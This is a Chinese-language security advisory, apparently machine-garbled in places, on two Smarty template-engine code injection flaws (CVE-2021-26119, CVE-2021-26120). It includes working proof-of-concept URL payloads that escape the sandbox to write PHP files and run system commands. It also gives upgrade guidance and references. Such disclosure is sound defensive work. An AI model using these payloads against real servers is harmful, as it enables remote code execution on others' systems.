PHP Smarty模版代码注入误差(CVE-2021-26120)
宣布时间 2021-02-260x00 误差概述
CVE ID | CVE-2021-26120 | 时 间 | 2021-02-26 |
类 型 | 代码注入 | 等 级 | 高危 |
远程使用 | 是 | 影响规模 | PHP Smarty < 3.1.39 |
0x01 误差详情

Smarty是通过PHP开发的模板引擎,它脱离了PHP逻辑代码与外观(HTML页)以便于管理。
克日,PHP Smarty被披露保存2个PHP代码注入误差(CVE-2021-26120和CVE-2021-26119),攻击者可以通过使用这些误差来注入恣意代码。
template_object沙箱逃逸PHP代码注入误差(CVE-2021-26119)
在Smarty中,Smarty从$smarty.template_object变量会见实例,由于攻击者可以会见smarty或parent属性,从而可以会见Smarty实例。乐成使用此误差的攻击者可以通过结构恶意数据,最终造成远程代码执行。
POC代码如下(需两次运行,第一次写入缓存文件然后将其笼罩,第二次触发缓存并包括文件以执行远程代码。):
http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

Smarty_Internal_Runtime_TplFunction沙箱逃逸PHP代码注入误差(CVE-2021-26120)
由于Smarty在编译模板语法时,Smarty_Internal_Runtime_TplFunction类在界说时不可准确过滤name属性tplFunctions,攻击者可以通过注入Payload,最终远程执行代码。
PoC代码如下:
http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}
0x02 处置惩罚建议
现在该误差已经修复,建议实时更新升级到3.1.39或更高版本。
链接如下:
https://github.com/smarty-php/smarty/blob/master/CHANGELOG.md
0x03 参考链接
https://github.com/smarty-php/smarty/security/advisories/GHSA-w5hr-jm4j-9jvq
https://github.com/smarty-php/smarty/security/advisories/GHSA-3rpf-5rqv-689q
https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html
0x04 时间线
2021-02-18 Steven Seeley披露误差
2021-02-26 VSRC宣布清静通告
0x05 附录
CVSS评分标准官网:http://www.first.org/cvss/



京公网安备11010802024551号